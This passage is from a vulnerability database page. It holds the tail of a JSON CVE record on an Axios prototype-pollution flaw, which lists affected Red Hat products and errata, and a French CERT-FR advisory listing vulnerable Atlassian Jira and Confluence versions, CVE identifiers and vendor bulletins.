Hat Ansible Automation Platform 2.6\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:42142: Red Hat Ansible Automation Platform 2.7\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36108: Red Hat Container Native Virtualization 4.13\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:27944: Red Hat Container Native Virtualization 4.14\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41951: Red Hat Data Grid 8.6.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36754: Red Hat Developer Hub 1.10\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33574: Red Hat Developer Hub 1.9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:26234: Red Hat Developer Hub 1.9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:29197: Red Hat Discovery 2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41928: Red Hat Migration Toolkit 1.8\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36611: Red Hat OpenShift Container Platform 4.14\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:28964: Red Hat OpenShift Container Platform 4.15\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:29082: Red Hat OpenShift Container Platform 4.16\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:40795: Red Hat OpenShift Container Platform 4.20\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:27063: Red Hat OpenShift Container Platform 4.20\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:40792: Red Hat OpenShift Container Platform 4.21\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:27044: Red Hat OpenShift Container Platform 4.21\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:40768: Red Hat OpenShift Container Platform 4.22\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33155: Red Hat OpenShift Service Mesh 2.6\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33160: Red Hat OpenShift Service Mesh 3.0\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33163: Red Hat OpenShift Service Mesh 3.1\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:33183: Red Hat OpenShift Service Mesh 3.3\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:42146: Red Hat Quay 3.12\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:43052: Red Hat Quay 3.12\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:42796: Red Hat Quay 3.15\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41066: Red Hat Quay 3.16\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41031: Red Hat Quay 3.1\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:40262: Red Hat Quay 3.9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:46885: multicluster engine for Kubernetes 2.10\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41055: multicluster engine for Kubernetes 2.6\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:30650: multicluster engine for Kubernetes 2.8\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36883: multicluster engine for Kubernetes 2.9\"}], \"x_adpType\": \"supplier\", \"datePublic\": \"2026-06-11T15:33:12.433Z\", \"references\": [{\"url\": \"https://access.redhat.com/security/cve/CVE-2026-44495\", \"tags\": [\"vdb-entry\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://bugzilla.redhat.com/show_bug.cgi?id=2487937\", \"name\": \"RHBZ#2487937\", \"tags\": [\"issue-tracking\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json\", \"tags\": [\"x_sadp-csaf-vex\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42078\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:34160\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41064\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:30651\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36882\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:46903\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:20938\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:20889\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:34374\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42142\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36108\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:27944\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41951\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36754\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33574\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:26234\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:29197\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41928\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36611\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:28964\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:29082\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:40795\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:27063\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:40792\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:27044\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:40768\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36820\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33155\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33160\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33163\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33173\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33183\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42146\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:43052\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42796\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41066\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41031\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:40262\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:46885\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41055\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:30650\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36883\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}], \"workarounds\": [{\"lang\": \"en\", \"value\": \"Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.\"}], \"x_generator\": {\"engine\": \"sadp-cli 1.0.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-915\", \"description\": \"Improperly Controlled Modification of Dynamically-Determined Object Attributes\"}]}], \"providerMetadata\": {\"orgId\": \"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\", \"shortName\": \"redhat-SADP\", \"dateUpdated\": \"2026-07-30T12:05:02.835Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-44495\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-06-12T03:55:39.431622Z\"}}}], \"references\": [{\"url\": \"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-06-11T17:56:22.281Z\"}}], \"cna\": {\"title\": \"Axios: Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge\", \"source\": {\"advisory\": \"GHSA-3g43-6gmg-66jw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"axios\", \"product\": \"axios\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 1.0.0, \u003c 1.15.2\"}, {\"status\": \"affected\", \"version\": \"\u003e= 0.19.0, \u003c 0.31.1\"}]}], \"references\": [{\"url\": \"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw\", \"name\": \"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-94\", \"description\": \"CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-1321\", \"description\": \"CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-06-11T15:33:12.433Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-44495\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-30T12:05:02.835Z\", \"dateReserved\": \"2026-05-06T18:28:20.885Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-06-11T15:33:12.433Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
CERTFR-2026-AVI-0773
Vulnerability from certfr_avis - Published: 2026-06-18 - Updated: 2026-06-18
De multiples vulnérabilités ont été découvertes dans les produits Atlassian. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et une atteinte à la confidentialité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Atlassian | Jira | Jira Service Management Data Center et Server versions 11.3.x antérieures à 11.3.7 | ||
| Atlassian | Confluence | Confluence Data Center versions 10.2.x antérieures à 10.2.13 | ||
| Atlassian | Jira | Jira Software Data Center versions 10.3.x antérieures à 10.3.22 | ||
| Atlassian | Jira | Jira Service Management Data Center et Server versions 10.3.x antérieures à 10.3.22 | ||
| Atlassian | Confluence | Confluence Data Center versions 9.2.x antérieures à 9.2.21 | ||
| Atlassian | Jira | Jira Service Management Data Center versions 10.3.x antérieures à 10.3.22 | ||
| Atlassian | Jira | Jira Software Data Center versions 11.3.x antérieures à 11.3.7 | ||
| Atlassian | Jira | Jira Software Data Center et Server versions 10.3.x antérieures à 10.3.22 | ||
| Atlassian | Jira | Jira Service Management Data Center versions 11.3.x antérieures à 11.3.7 | ||
| Atlassian | Jira | Jira Software Data Center et Server versions 9.12.x antérieures à 9.12.36 | ||
| Atlassian | Jira | Jira Software Data Center et Server versions 11.3.x antérieures à 11.3.7 | ||
| Atlassian | Jira | Jira Software Data Center versions 9.12.x antérieures à 9.12.36 |
References
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Jira Service Management Data Center et Server versions 11.3.x ant\u00e9rieures \u00e0 11.3.7",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Confluence Data Center versions 10.2.x ant\u00e9rieures \u00e0 10.2.13",
"product": {
"name": "Confluence",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center versions 10.3.x ant\u00e9rieures \u00e0 10.3.22",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center et Server versions 10.3.x ant\u00e9rieures \u00e0 10.3.22",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Confluence Data Center versions 9.2.x ant\u00e9rieures \u00e0 9.2.21",
"product": {
"name": "Confluence",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center versions 10.3.x ant\u00e9rieures \u00e0 10.3.22",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center versions 11.3.x ant\u00e9rieures \u00e0 11.3.7",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center et Server versions 10.3.x ant\u00e9rieures \u00e0 10.3.22",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Service Management Data Center versions 11.3.x ant\u00e9rieures \u00e0 11.3.7",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center et Server versions 9.12.x ant\u00e9rieures \u00e0 9.12.36",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center et Server versions 11.3.x ant\u00e9rieures \u00e0 11.3.7",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
},
{
"description": "Jira Software Data Center versions 9.12.x ant\u00e9rieures \u00e0 9.12.36",
"product": {
"name": "Jira",
"vendor": {
"name": "Atlassian",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-33871",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33871"
},
{
"name": "CVE-2026-43515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43515"
},
{
"name": "CVE-2026-42211",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42211"
},
{
"name": "CVE-2026-34486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34486"
},
{
"name": "CVE-2026-33870",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33870"
},
{
"name": "CVE-2026-42585",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42585"
},
{
"name": "CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"name": "CVE-2026-41284",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41284"
},
{
"name": "CVE-2026-45149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45149"
},
{
"name": "CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"name": "CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"name": "CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"name": "CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"name": "CVE-2026-40175",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
},
{
"name": "CVE-2026-27903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27903"
},
{
"name": "CVE-2026-34487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34487"
},
{
"name": "CVE-2021-3803",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3803"
},
{
"name": "CVE-2026-42038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42038"
},
{
"name": "CVE-2026-42583",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42583"
},
{
"name": "CVE-2026-43513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43513"
},
{
"name": "CVE-2026-29129",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29129"
},
{
"name": "CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"name": "CVE-2026-42342",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42342"
},
{
"name": "CVE-2026-26996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26996"
},
{
"name": "CVE-2026-42264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42264"
},
{
"name": "CVE-2026-45736",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45736"
},
{
"name": "CVE-2026-43512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43512"
},
{
"name": "CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"name": "CVE-2026-42498",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42498"
},
{
"name": "CVE-2026-27904",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27904"
},
{
"name": "CVE-2026-34077",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34077"
},
{
"name": "CVE-2026-41293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41293"
}
],
"initial_release_date": "2026-06-18T00:00:00",
"last_revision_date": "2026-06-18T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0773",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-06-18T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Atlassian. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Atlassian",
"vendor_advisories": [
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26825",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26825"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16543",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16543"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16622",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16622"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16604",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16604"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26820",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26820"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26813",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26813"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16583",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16583"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16609",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16609"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16613",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16613"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104143",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104143"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104139",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104139"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16626",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16626"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16614",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16614"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26791",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26791"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104136",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104136"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26783",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26783"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-103936",
"url": "https://jira.atlassian.com/browse/CONFSERVER-103936"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26805",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26805"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26800",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26800"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26838",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26838"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16618",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16618"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26815",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26815"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26819",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26819"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104131",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104131"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104199",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104199"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-103906",
"url": "https://jira.atlassian.com/browse/CONFSERVER-103906"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26751",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26751"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16620",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16620"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16615",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16615"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16632",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16632"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16627",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16627"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-103468",
"url": "https://jira.atlassian.com/browse/CONFSERVER-103468"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26841",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26841"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26818",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26818"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26837",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26837"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104132",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104132"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16608",
"url": "https://jira.atlassian.com/browse/JSDSERVER-16608"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSWSERVER-26835",
"url": "https://jira.atlassian.com/browse/JSWSERVER-26835"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian CONFSERVER-104134",
"url": "https://jira.atlassian.com/browse/CONFSERVER-104134"
},
{
"published_at": "2026-06-16",
"title": "Bulletin de s\u00e9curit\u00e9 Atlassian JSDSERVER-16616",
